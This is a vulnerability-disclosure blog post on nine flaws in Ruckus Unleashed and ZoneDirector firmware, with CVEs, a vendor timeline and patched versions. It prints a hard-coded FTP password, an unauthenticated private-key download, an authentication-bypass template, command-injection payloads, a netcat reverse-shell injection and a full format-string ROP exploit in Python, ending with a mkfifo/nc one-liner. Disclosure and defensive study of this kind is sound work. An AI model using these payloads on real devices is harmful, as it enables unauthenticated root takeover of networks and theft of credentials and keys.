Ruckus Unleashed: Multiple vulnerabilities exploited
This blog post describes multiple vulnerabilities found in the firmware of Ruckus Unleashed and ZoneDirector. The vulnerabilities were found and reported to CommScope by René Ammerlaan, a guest writer for this blog post. I will take you through all the vulnerabilities and demonstrate how they can be exploited by an attacker.
Related CVE:
- CVE-2025-46116
- CVE-2025-46117
- CVE-2025-46118
- CVE-2025-46119
- CVE-2025-46120
- CVE-2025-46121
- CVE-2025-46122
- CVE-2025-46123
- CVE-2025-XXXXX (CVE request pending)
Background
Ruckus Unleashed is a standalone network management solution from CommScope for access points and switches, commonly deployed in residential and small business networks. The control logic is embedded in every Ruckus access point, removing the need for a separate ZoneDirector or SmartZone appliance. In the Unleashed network one of the access points will be designated as the Master AP, which allows the Master AP to act as the network controller and manage Ruckus ICX switches and access points inside the network. The Master AP exposes a management interface by SSH and HTTPS, allowing an administrator to monitor and manage all network components from a central location. The HTTPS management interface is based on EmbedThis Appweb software, and utilizes Embedded JavaScript Template (EJS) files to generate the HTML page server-side. These template files expose privileged controller functions to the web and mobile clients by invoking the Delegate function, which serializes its parameters and sends them over a UNIX domain socket from the webs process to the emfd process. Based on the first argument, the emfd process will resolve the internal function address and execute the function. The management interface is also reachable via SSH, allowing the administrator to make configuration changes within a restricted CLI environment. Standard Linux commands are restricted to prevent unauthorized users from inadvertently or maliciously modifying the system configuration. Because Ruckus Unleashed is based on the ZoneDirector, most vulnerabilities are also applicable for the ZoneDirector controller.
Timeline
- 18-09-2024 - Vendor received vulnerability report
- 11-12-2024 - Initial patch released
- 06-05-2025 - Secondary patch released
- 08-05-2025 - Reported issues persist in initial patch
- 31-05-2025 - Reported issues persist in secondary patch
- 01-07-2025 - Third patch released
- 01-07-2025 - Reported potential residual issue in third patch
- 21-07-2025 - Publication
Vulnerabilities
In total, nine distinct vulnerabilities were found, including an authentication bypass, a hard-coded password for FTP, multiple command injection and format string vulnerabilities. These vulnerabilities can be chained together by unauthenticated users to obtain remote code execution. While some vulnerabilities remain confined within the restricted CLI or admin interface, others may allow an attacker to jailbreak the device and obtain a root shell. While most vulnerabilities require access to the Ruckus Unleashed management interface, one interesting attack vector allows exploiting a format string vulnerability using a single DHCP request sent from the (guest) WiFi network.
All vulnerabilities have been reported to CommScope and addressed in Unleashed 200.15.6.212.27
and 200.18.7.1.323
or later, and in ZoneDirector 10.5.1.0.282
or later. For CVE-2025-46120
, this firmware mitigates all publicly demonstrated exploit paths, but a potential residual vector remains under investigation. During validation of the firmware, the vector was identified and reported, but it has not yet been proven exploitable. CommScope plans to release an additional patch in a forthcoming update, which is expected to fully address the issue.
Leaking secrets
Several vulnerabilities were found where the firmware did not properly handle secrets. Consequently, this exposes the web interface to MITM attacks, unauthorized disclosure of credentials, and eventually leads to full compromise of the management interface. Some of these vulnerabilities can be exploited via network access to the management controller without requiring authentication. If the administrator enables a captive portal on the network, the controller becomes reachable to attackers regardless of VLAN segregation or restricted subnet access. All ports are accessible when the guest user has not yet authenticated to the guest network. After authentication, only the HTTPS management interface remains available.
Hard-coded FTP credentials (CVE-2025-46118)
I noticed that the FTP service on the controller was enabled by default, but the admin credentials did not grant access. After some digging in the firmware, static credentials were found in function setRootAccount
from the shell script sys_wrapper.sh
. Here is the relevant part of the script:
if [ "$IS_REAL_BOX" = "yes" ] ; then
if [ "$PLATFORM" = "ar7100" ] || [ "$PLATFORM" = "ar7161" ] || [ "$PLATFORM" = "nar5520" ] || [ "$PLATFORM" = "unleashed-standard" ] || [ "$PLATFORM" = "unleashed-micro" ] || [ "$PLATFORM" = "unleashed-ulc" ]; then
echo "rkscli:*:0:0:root:/:/bin/sh" >> /etc/passwd
echo "nobody:x:99:99:Nobody:/:/sbin/nologin" >> /etc/passwd
echo "ftp:x:1021:1021:Nobody:/:/sbin/nologin" >> /etc/passwd
echo "ftpuser:*:1022:1022:Nobody:/:/sbin/nologin" >> /etc/passwd
passwd -p Rks@zdap1234 ftpuser
fi
fi
This script is executed during boot and configures a fixed password for the ftpuser
user account, which cannot be changed by the end user. With these credentials, we gain access to the following directory (/etc/airespider-images/firmwares
):
drwxr-xr-x 10 0 0 800 Aug 18 09:16 .
drwxr-xr-x 10 0 0 800 Aug 18 09:16 ..
drwxrwxrwx 2 0 0 40 Aug 18 09:15 apcrashfile
drwxrwxrwx 2 0 0 40 Aug 18 09:15 avpd
drwxr-xr-x 2 0 0 240 Aug 18 09:17 avpport
-rw-r--r-- 1 0 0 0 Aug 18 08:26 custom_ok
drwxrwxrwx 2 0 0 40 Aug 18 09:15 mdnsproxy_rule
drwxr-xr-x 2 0 0 160 Aug 18 08:28 supportxt
drwxr-xr-x 2 0 0 40 Aug 18 07:13 unleashed_firmwares
drwxr-xr-x 2 0 0 160 Aug 18 08:26 usb_software
drwxr-xr-x 2 0 0 304 Aug 18 09:16 webaccert
A few interesting directories can be found here, three world-writable directories that may be used to upload malicious code. I wanted to see if any of these files were accessible from the web interface, but this is something we’ll explore later.
Leaking the private key (CVE-2025-XXXXX CVE request pending)
When custom SSL certificates are installed on the management interface, then the private key is stored at /etc/airespider/certs/webackey.pem
. However, for some reason the binary apmgr_zd
copies the private key and stores it at /etc/airespider-images/firmwares/webaccert/webackey.pem
. As you have learned, we have access to the webaccert
directory by FTP, allowing an attacker to fetch the private key. Using an RSA modulus check, I confirmed that the key retrieved via FTP is identical to the one in use by the running web service:
% openssl rsa -modulus -noout -in webackey.pem |md5
b9fbbbba5d97871a2407129345f253d3
% echo | openssl s_client -showcerts -connect 192.168.0.1:443 2>/dev/null| openssl x509 -modulus -noout 2>/dev/null|md5
b9fbbbba5d97871a2407129345f253d3
There is also a symlink at /web/firmwares
, which again points to /etc/airespider-images/firmwares
. Because this symlink is located in the web root it allows us to fetch the same private key by HTTP without authentication:
% curl -s http://192.168.0.1/firmwares/webaccert/webackey.pem | openssl rsa -modulus -noout |md5
b9fbbbba5d97871a2407129345f253d3
It is highly recommended to revoke any existing certificates and regenerate their private keys after patching to firmware version 200.18.7.1.323
or later.
Dump admin credentials (CVE-2025-46119)
With Ruckus Unleashed 200.14.6.1, it is possible to dump the admin password by using the authenticated API endpoint /admin/_cmdstat.jsp
with the following HTTP request body:
<ajax-request action='getstat' updater='system.ts' comp='system'>
<admin/>
</ajax-request>
The following data is returned by the web service:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ajax-response>
<ajax-response>
<response type="object" id="system.1744897966518.8040">
<response>
<admin username="admin" x-password="nztfdsfuqbttxpse" privilege="rw" idletimeout="30" lang="en_US" auth-by="local" authsvr-id="0" fallback-local="true" success-login-times="2" role-id="2147483647" />
</response>
</response>
</ajax-response>
The password nztfdsfuqbttxpse
is invalid, but it clearly doesn’t look like a hash. After checking the rks_obf_decrypt
function from librkscrypto.so
you can see that reversing the password is quite trivial:
sub r3,r3,#0x1
strb r3,[r2],#0x1
ldrb r3,[r1,#0x1]!
cmp r3,#0x0
bne LAB_00016470
ldmia sp!,{r3,pc}
Decrement the binary value of each character by one, resulting in the password mysecretpassword
. While the parameter x-password
has been removed in later firmware versions, the password is still stored obfuscated this way in the system configuration file until 200.18.7.1.302. I have not yet analyzed the current hashing algorithm, and therefore its robustness remains unverified. While this endpoint requires authentication, the next vulnerability will show a method that could be used to download the configuration file and reverse the administrator password without credentials.
Bypass authentication (CVE-2025-46120)
In order to fully exploit the controller, we’ll need a way to bypass authentication and execute code. A vulnerability was found in the web configuration, allowing an attacker to utilize path traversal and execute EJS (Embedded JavaScript) template files server-side. As we’ve previously learned from the FTP vulnerability, we have a method that allows us to upload our own EJS template files. Combining these vulnerabilities will allow us to execute arbitrary template code, albeit within the confines of the available functions. The webs
daemon is responsible for handling HTTP requests and processing EJS template files. However, direct execution of EJS templates is restricted by default. Configuration settings indicate that a denylist is in place, explicitly blocking certain paths. Here is the relevant part from the web configuration:
ForbidEjsDirs /firmwares;/unleashed_firmwares;/uploaded;/icx_config;/icx_images;/backupfile
The web service working directory is /web
and the forbidden directories contain writable directories from various sources, such as through web or FTP access. The forbidden directory /firmwares
is a symlink to /etc/airespider-images/firmwares
, which we can access by FTP. The sub-directory apcrashfile
is writable; however, that path is listed in the ForbidEjsDirs configuration. Executing EJS template files from this location is therefore not directly possible. The URL path is sanitized on several levels within the application. Due to a bug, the comparison of the forbidden directory and the loaded EJS template file may differ, depending on the input. The problem can be observed in the following webs function at address 0x000e5ad4
(R850 firmware version 200.14.6.1.203):
while (*path != '\0') {
if ((((*path == '.') && (path[1] == '.')) && (path[2] == '/')) &&
((path == __s || (path[-1] == '/')))) {
sptr = path + 3;
path -= 2;
pcVar3 = __s;
if (__s <= path) {
for (; (__s <= path && (*path != '/')); path--) {}
pcVar3 = path + 1;
}
while (1) {
path++;
*path = *sptr;
if (*path == '\0')
break;
sptr++;
}
} else {
path++;
}
}
This function takes an absolute path as an argument and normalizes the path, returning the normalized absolute path. However, when the first directory is the parent directory, the resulting path becomes relative. For example, when an attacker requests the path /../.firmwares/apcrashfile/_conf.jsp
, the function will return .firmwares/apcrashfile/_conf.jsp
. This allows an attacker to pass the ForbidEjsDirs check, allowing EJS execution, because .firmwares
doesn’t match firmwares
. Eventually, the first character will be stripped from the path to make the path relative. However, because we already have a relative path, the first character of our directory is stripped off. Now we have firmwares/apcrashfile/_conf.jsp
, and this file and several other variations (e.g. _conf.mod
) are loaded from the filesystem. In order to bypass authentication, we can copy existing EJS template files /web/admin/_cmdstat.mod
and /web/admin/_conf.mod
and modify them. Here is the EJS content for these files:
_cmdstat.mod
<%
Delegate("SessionCheck", session["cid"], 'true');
Delegate("AjaxCmdStat", session["cid"]);
%>
_conf.mod
<%
Delegate("SessionCheck", session["cid"], 'true');
Delegate("AjaxConf", session["cid"]);
%>
SessionCheck is a function from the emfd
binary and is responsible for validating the user session. When we change the third argument of SessionCheck
from true
to false
, the session is no longer validated. We could make adjustments to the compiled EJS template file, but the controller has a compiler, so let’s use it! When we perform an HTTP request to our malicious EJS template file, the compiler will automatically compile the source file. However, the resulting file is not placed in the correct directory and must be moved. Upload the modified _cmdstat.jsp
and _conf.jsp
files to the controller by using FTP, then request the page via HTTP at the path /../.firmwares/apcrashfile/_conf.jsp
. This request will fail because the compiler writes the file to /tmp/web/firmwares/apcrashfile/_conf.mod
, but this path is not served by the web server. Attempting to reach the file via HTTP using the path /../.../tmp/web/firmwares/apcrashfile/_conf.jsp
results in a 500 server error. The web server logs mention it cannot locate the type, and fails to execute the compiled EJS template file. However, if we move the file to /web/firmwares/apcrashfile/_conf.jsp
, we can successfully execute the template by accessing the path /../.firmwares/apcrashfile/_conf.jsp
. The compiled malicious template files are valid for any controller, so we only need to perform this process once. Now we can directly upload the compiled EJS template file to the correct location on the controller. At this point, we can bypass authentication by performing a POST request to /../.firmwares/apcrashfile/_cmdstat.jsp
. For example, this can be used to fetch the connection status:
<ajax-request action='docmd' xcmd='get-connect-status' updater='system.1745750508639.5358' comp='system'>
<xcmd cmd='get-connect-status'/>
</ajax-request>
We’ll get the following response from the server:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ajax-response>
<ajax-response>
<response type="object" id="system.1745750508639.5358">
<xmsg type="0" msg="" ap="ZD" connected="0" internet-check="1" dns="" dns-status="0" port1="1" port2="0" port-status="1" ip="192.168.0.1" ip-status="1" gateway="192.168.0.254" gateway-status="0" dual-wan-port-enabled="false" />
</response>
</ajax-response>
Additionally, an attacker may choose to avoid existing API endpoints and instead utilize EJS to further exploit this vulnerability. While most high-impact functions such as sh
, run
, and exec
are disabled by the webs
application, file operations remain permitted. This allows an attacker to read, write, and copy files anywhere on the filesystem. Here is an example of how an attacker could read from arbitrary files:
_readfile.jsp
<%
var content = "";
var fp = open(params["path"], "r");
var buffer = new ByteArray(1024);
var bytesRead;
while ((bytesRead = fp.read(buffer)) > 0) {
content += buffer.toString(0, bytesRead);
}
fp.close();
%>
<%= content %>
An attacker can now send a GET request to /../.firmwares/apcrashfile/_readfile.jsp?path=/writable/etc/airespider/system.xml
, and the web interface will return the system configuration from the controller. As demonstrated in a previous vulnerability, the administrator password is not securely stored. This allows an attacker to reverse the password and log in as the administrator. Additionally, file operations such as write
and copy
may be used by the attacker to escape from jail, which will be covered in the next chapter.
Escape from jail
Normally, the controller only allows access to a restricted CLI. However, several vulnerabilities were found that allow an attacker to escape from jail. When the attacker has access to the restricted CLI via SSH, these vulnerabilities can be used to fully compromise the controller.
Hidden command (CVE-2025-46116)
Ruckus implemented a hidden command named !v54!
, which allows us to spawn a regular root shell. This command was likely added to enable Ruckus engineers to perform troubleshooting on the device. However, this command cannot be used directly, as it requires a password to unlock the root shell. While reversing the application, I observed that a configuration check is performed to determine whether the CLI password is required. As this presented the path of least resistance, I was able to disable the password requirement by submitting an API call to /admin/_conf.jsp
with the following payload:
<ajax-request action='setconf' updater='system.ts' comp='system'>
<clipwd enabled='false' x-ruckus-vendor-code='' ruckus-vendor-code=''/>
</ajax-request>
After this, the !v54!
command no longer requires a secret and immediately spawns a root shell:
ruckus> !v54!
Granted to access the Linux Shell.
Exit ruckus CLI.
Ruckus Wireless Unleashed -- Command Line Interface
Enter 'help' for a list of built-in commands.
ruckus$
Command injection (CVE-2025-46117)
There is another way to jailbreak the controller and connected devices, due to a hidden debug script that does not properly sanitize user input. When logged into the controller in script mode, we have access to a debug script named .ap_debug.sh
from the restricted CLI. Here is the vulnerable part of the code:
duration=$3
...
# Error checking
if [ $duration -lt 1 -o $duration -gt 60 ]; then
echo "Duration value of $duration is not within the range [1-60]. Exiting script..."
exit 2
fi
...
rksap_cli -s -a $apmac "nodestats $wifi -T $duration -q $idx > /tmp/node$idx.out &" > /dev/null 2>&1
The “Error checking” validation only succeeds when the variable duration
is an integer. In our case, we can inject a string, which causes the if
statement to fail and allows execution to continue. The restricted CLI does not allow quoting arguments, and certain characters are forbidden, specifically: "
, ;
, %
, $(
, &&
, and ||
. With some creativity, these restrictions can be circumvented. By using the &
character, we can send the initial command to the background, start a new command, and terminate the second command without using forbidden characters. We are limited to executing commands without arguments, as spaces cannot be used and quoting is not allowed. However, the internal field separator variable IFS
is available. This variable enables us to separate command arguments without using literal spaces. Using the following payload as the third argument: &ln$IFS-s$IFS/bin/sh$IFS/writable/etc/scripts&
we are able to break out of the restricted CLI. Here you can see the result:
ruckus> enable
ruckus# debug
You have all rights in this mode.
ruckus(debug)# script
ruckus(script)# exec .ap_debug.sh 00:00:00:00:00:1a wifi0 &ln$IFS-s$IFS/bin/sh$IFS/writable/etc/scripts&
sh: &cp$IFS/bin/cat$IFS/writable/etc/scripts&: bad number
Deleting stats files older than one hour...
Overwrite current stats file (y/n)? If no, output will be appended to current file: y
00:00:00:00:00:1a
---- Command 'cat /tmp/nodes.out ' executed at 00:00:00:00:00:1a
sh: &ln$IFS-s$IFS/bin/sh$IFS/writable/etc/scripts&: bad number
---- Command 'cat /tmp/ath.out ' executed at 00:00:00:00:00:1a
---- Command 'cat /tmp/cap.out ' executed at 00:00:00:00:00:1a
---- Command 'cat /tmp/nodes.out ' executed at 00:00:00:00:00:1a
The stats file is saved on ZD. Download from http://192.168.0.1
192.168.0.1
169.254.17.11
169.254.1.1
169.254.17.13
169.254.17.12/uploaded/stats_00:00:00:00:00:1a.txt
ruckus(script)#
A symlink has now been created for the command sh
, which is a busybox applet and can now be executed from within the restricted CLI:
ruckus(script)# exec sh
Ruckus Wireless Unleashed -- Command Line Interface
Enter 'help' for a list of built-in commands.
ruckus$
While an attacker may not be able to access the management interface via SSH, the next vulnerability describes a method of exploitation via an existing API endpoint.
Remote code execution (CVE-2025-46122)
A command injection vulnerability was found in the diagnostic tool of the management interface, allowing an attacker to perform remote code execution via an authenticated API endpoint. Although the API endpoint is protected by authentication, an attacker can combine this with the authentication bypass to exploit the device. By specifying the MAC address of one of the connected devices, a reverse shell can be initiated by sending a POST request to /admin/_cmdstat.jsp
with the following payload:
<ajax-request action='docmd' xcmd='apcli-cmd' updater='system.ts' comp='system'>
<xcmd cmd='apcli-cmd' ap='00:00:00:00:00:1a' apcmd="traceroute -m ||sleep 999| nc 192.168.0.254 4000 | sh |"/>
</ajax-request>
The command is sent to the device with MAC address 00:00:00:00:00:1a
, which then initiates a reverse shell to the target 192.168.0.254
. This can be observed here:
Listening on 0.0.0.0 4000
Connection received on 192.168.0.1 55091
A reverse shell is spawned, and although text output is not returned using this approach, all input is executed directly as root
on the device. Because the attacker can specify the MAC address of the target device, any access point within the Unleashed network can be exploited using this approach. Up to this point, it has been demonstrated that chaining multiple vulnerabilities allows an attacker to fully compromise the controller, assuming direct network access to the controller. In the following section, I will demonstrate how the controller can be exploited, even when direct network access is unavailable.
Format string vulnerabilities
Several format string vulnerabilities were found, allowing an attacker to exploit the controller either via DHCP or through the management interface. When using the DHCP protocol, an attacker can target the controller by connecting to the (guest) WiFi network, without requiring direct access to the management interface!
Malicious guest password (CVE-2025-46123)
The guest password for the WiFi network can be configured via the authenticated API endpoint /admin/_conf.jsp
, using the component wlansvc-list
and the guest-pass
parameter. The emfd
function stamgr_cfg_adpt_addWLANSvc
writes the password to piVar18
using snprintf
, with the password passed as the format string. Here is a snippet from the function:
undefined4 stamgr_cfg_adpt_addWLANSvc(int *param_1, int *param_2, undefined4 cfg)
{
...
piVar18 = local_80 + 0x1b9;
pcVar10 = (char *)xGetAttrString(cfg, "guest-pass", &DAT_002e1bb4);
snprintf((char *)piVar18, 0x20, pcVar10);
...
}
As a result, an attacker may use this API endpoint to exploit the management interface by leveraging the format string vulnerability. A detailed demonstration of how this vulnerability may be abused has been omitted, as the next vulnerability presents a more significant risk based on a similar flaw. Let’s move on to the next vulnerability, where the underlying flaw allows for more impactful exploitation.
My favorite station (CVE-2025-46121)
The Ruckus Unleashed firmware has functionality that allows administrators to mark clients as favorite, providing a way to monitor the client’s behavior. If an administrator uses this functionality and leaves one of their clients marked as a favorite, the controller becomes vulnerable to an unauthenticated attack. An attacker can either access the authenticated API at /admin/_conf.jsp
to add a station as a favorite, or bypass authentication by sending a specially crafted DHCP request when connected to the (guest) WiFi network. Due to incorrect use of the snprintf
function, the hostname
argument is passed directly from input as the format string. This flaw allows snprintf
to parse format strings, potentially resulting in remote code execution. Here is the relevant assembly code from the binary emfd
:
; stamgr_cfg_adpt_addStaFavourite()
ldr r3,[r11,#local_18]
add r4,r3,#0x6
ldr r0,[r11,#local_2c]
movw r1,#0x2e64
movt r1=>s_hostname_002e2e64,#0x2e = "hostname"
movw r2,#0x1bb4
movt r2=>DAT_002e1bb4,#0x2e
bl libemf.so::xGetAttrString xGetAttrString()
cpy r3,r0
cpy r0,r4
mov r1,#0x41
cpy r2,r3
bl <EXTERNAL>::snprintf int snprintf(char * __s, size_t __t, const char * restrict format)
The parameters hostname
and devicinfo
are retrieved from the XML configuration and passed directly to snprintf
as format strings. This incorrect usage allows an attacker to inject format string characters into these values and manipulate the process. Although the size is limited to 0x41
bytes, snprintf
still processes format string characters beyond this range, enabling exploitation. This vulnerability affects both the stamgr_cfg_adpt_addStaFavourite
and stamgr_cfg_adpt_addStaIot
functions within the emfd
binary. However, since the former is more interesting for exploitation, further analysis of stamgr_cfg_adpt_addStaIot
is omitted.
There are two primary attack scenarios based on how the system processes the vulnerable input. The first is a direct attack, where an attacker sends a crafted POST request to the authenticated API endpoint /admin/_conf.jsp
. This enables memory leakage and ASLR bypass, but it requires valid credentials or an additional vulnerability to access the API. The second is an indirect attack, by using DHCP. If a station was previously marked as a favorite, an attacker can spoof its MAC address and send a DHCP request containing format string characters in the hostname
field. This value will be passed to the vulnerable snprintf function, leading to remote code execution. This scenario does not require direct network access to the management interface, although the attacker must have access to the (guest) WiFi network.
Exploitation by API
This section demonstrates how an attacker can exploit the format string vulnerability through the controller’s web API to obtain a root shell. When using this exploit method, we need access to the authenticated API endpoints /admin/_conf.jsp
and /admin/_cmdstat.jsp
, either by using one of the previously mentioned vulnerabilities or with legitimate credentials. During this demonstration, memory addresses are used that are valid for the R850 access point with firmware version 200.14.6.1.203
. Because of ASLR, we need to leak memory addresses in order to calculate the correct offsets. At a high level, the attack involves several stages:
-
Memory leak:
A crafted format string payload is created to leak the stack and shared library addresses, bypassing ASLR.
-
Stack preparation:
Using the leaked addresses, gadget offsets from
uClibc
are calculated for the ROP-chain. Due to missing stack control through the vulnerable API, a reflected API call is used to place these addresses at the required stack locations. Because this stack location is left uninitialized, the bytes written remain intact and can be used by our next API call. -
Trigger execution:
A second format string payload employs the
%n
format string specifier to overwrite the return address with the prepared gadget pointers. This will redirect execution to our control, invoking theexecve("/bin/sh", ...)
function with a reverse shell one-liner using netcat to obtain a root shell.
There are some challenges due to notable differences between uClibc
and standard libc
implementations. Specifically, format string arguments using regular specifiers (%x
) cannot be combined with indexed parameters (%1$x
) within the same format string. Additionally, referencing argument indices beyond 22 consistently causes a crash. As a result, it was necessary to walk through the variadic argument list by repeating format specifiers without using positional indexing.
Memory leak
The first step we need to take is getting the ASLR offsets, by using a memory leak. For this we use the following payload at /admin/_conf.jsp
:
<ajax-request action='setconf' updater='sta-favourite-list.1749139908617.7412' comp='sta-favourite-list'>
<sta name='00:00:00:00:00:1a' mac='00:00:00:00:00:1a' hostname='%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu%.1hhu_%08x_' devicinfo='%14$.08x' id='1' />
</ajax-request>
Because the hostname
field is limited to 64 characters, we’ll use %.1hhu
to skip through the first variadic arguments until we reach a pointer to a shared library. We’re only interested in the value of %08x
between the two underscores. When we submit the payload, we receive the hostname
value:
160481121441201616015280140116561214011216014422014400_76f0daa4
We just captured the full pointer address, but since this is a 32-bit system, we can reconstruct the offset address when 5 or more characters are known. We’ll use 0x76f0daa4
as the shared library base address. For the stack location, we’ll use %14$08x
to directly print the stack address and reference it later. In this case, it results in 0x7eab626c
.
Stack preparation
To exploit format string vulnerabilities, we need to utilize the %n
parameter and overwrite memory addresses. However, because the hostname
value is written to the heap, and we do not have direct access to the hostname
or devicinfo
content via any format string parameter, we must prepare the stack with our addresses using a different method. After analyzing the stack memory with GDB, I noticed that server replies are written directly onto the stack near the stack pointer, and this stack location remains uninitialized between API calls. To exploit this, we need the server to echo our payload inside a valid XML response. This was a bit tricky because many characters are forbidden in XML. However, I found that the getconf
action will reflect anything placed in the comp
parameter. Even though the request is not technically valid, the server will echo our input inside an ajax-response
object. Now we need to calculate the offset for the shared libraries and stack based on the information available. To compute the stack offset, we use the result of 0x7effe000 - (0x7eab626c & 0xfffff000)
, which gives us an offset of 0x548000
. For the shared library we use 0x76f50000 - (0x76f0daa4 & 0xfffff000)
, which gives us 0x43000
. Now that we have the offsets, we can calculate the required addresses relative to the function address in libc. The following table can be used to prepare the stack:
addr_table = {
0x1f234: { "addr": 0x0004f12c, "type": "lib" }, # mov r1, r5
# pop {r3, r4, r5, pc}
0x1f248: { "addr": 0x000174ac, "type": "stack" }, # $cmd
0x1f24c: { "addr": 0x0002b9d8, "type": "lib" }, # mov r0, r5
# pop {r3, r4, r5, pc}
0x1f25c: { "addr": 0x00023360, "type": "lib" }, # execve(/bin/sh, /bin/sh -c $cmd);
}
The key for the table is the stack location, and the addr
is the location of the function we want to jump to. To execute our shell command, we need to prepare the correct arguments in r0
and r1
. For this, we use the gadgets located at 0x0004f12c
and 0x0002b9d8
from the uClibc
library. Based on the offset information above, we can calculate the actual stack and function addresses using the following function:
base_addr = {
"stack": 0x7efdf000,
"lib": 0x769dd000,
}
def prepare_stack(offset_table):
print(f"[*] Preparing stack with addresses...")
addr_table[0x1f248]['addr'] += len(generate_payload(offset_table))
stack_table = []
for addr, obj in addr_table.items():
aslr_addr = base_addr['stack'] + addr - offset_table['stack']
print(" 0x{:08x} -> 0x{:08x}".format(
aslr_addr,
base_addr[obj["type"]] + obj['addr'] - offset_table[obj["type"]],
))
stack_table.append(aslr_addr)
stack_table.append(aslr_addr + 2)
payload = b"<ajax-request action='getconf' updater='' comp='"
payload += b"AAAABBBBC" # Address alignment
payload += b"____".join([addr.to_bytes(length=4, byteorder="little") for addr in stack_table])
payload += b"'/>"
For each address, we write it twice to the stack, once to overwrite the higher bits and once to overwrite the lower bits. We also need to account for the length of our payload, since the shell command is concatenated to the XML payload. To handle this, we call the function generate_payload
(function explained below) and calculate the length before sending it. When executing the prepare_stack
function above, we get the following output:
[*] Preparing stack with addresses...
0x7eab6234 -> 0x769e912c
0x7eab6248 -> 0x7eaaed92
0x7eab624c -> 0x769c59d8
0x7eab625c -> 0x769bd360
Now we can prepare the payload and send it to /admin/_conf.jsp
:
<ajax-request action='getconf' updater='' comp='AAAABBBBC4b\xab~____6b\xab~____Hb\xab~____Jb\xab~____Lb\xab~____Nb\xab~____\\b\xab~____^b\xab~'/>
With this command, we’ve prepared the stack with the correct addresses.
Trigger execution
Finally, we will use the following function to generate the payload for our reverse shell:
def generate_payload(offset_table):
ctr = 396
pool = []
for key, obj in addr_table.items():
addr = base_addr[obj["type"]] + obj["addr"] - offset_table[obj["type"]]
pool.append(addr >> 0 & 0xffff)
pool.append(addr >> 16 & 0xffff)
updater = f'sta-favourite-list.{get_timestamp()}'
payload = f"<ajax-request action='setconf' updater='{updater}' comp='sta-favourite-list'>"
payload += f"<sta name='{macaddr}' mac='{macaddr}' hostname='"
payload += "beta"
payload += "' devicinfo='"
payload += "%.08x" * (ctr-1)
written_bytes = ((ctr-1) * 8)
for addr in pool:
addr += written_bytes & 0xffff << 16
if addr < written_bytes:
addr += 1<<16
payload += "%.0{}x".format(addr - written_bytes)
payload += "%hn"
written_bytes += (addr - written_bytes)
payload += "' id='1' /></ajax-request> "
return payload
We’re going to listen on port 4000
at 192.168.0.254
, and we need the controller to connect back. We’ll use the following reverse shell one-liner: mkfifo /tmp/f; nc 192.168.0.254 4000 0</tmp/f | /bin/sh >/tmp/f
and concatenate it to the output of our generate_payload
function:
<ajax-request action='setconf' updater='sta-favourite-list.1749140243133.1921' comp='sta-favourite-list'><sta name='00:00:00:00:00:1a' mac='00:00:00:00:00:1a' hostname='beta' devicinfo='%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.34004x%hn%.58738x%hn%.30452x%hn%.37144x%hn%.56110x%hn%.7364x%hn%.23748x%hn%.41787x%hn' id='1' /></ajax-request> mkfifo /tmp/f; nc 192.168.0.254 4000 0</tmp/f | /bin/sh >/tmp/f 2>&1
When we combine all the information from above, we are able to exploit the controller:
% python3 ./favorite_root.py -ki 192.168.0.1 -s x80c03c298e9c8b2bcb83e56edc27a59e -m '00:00:00:00:00:1a' -c 192.168.0.254
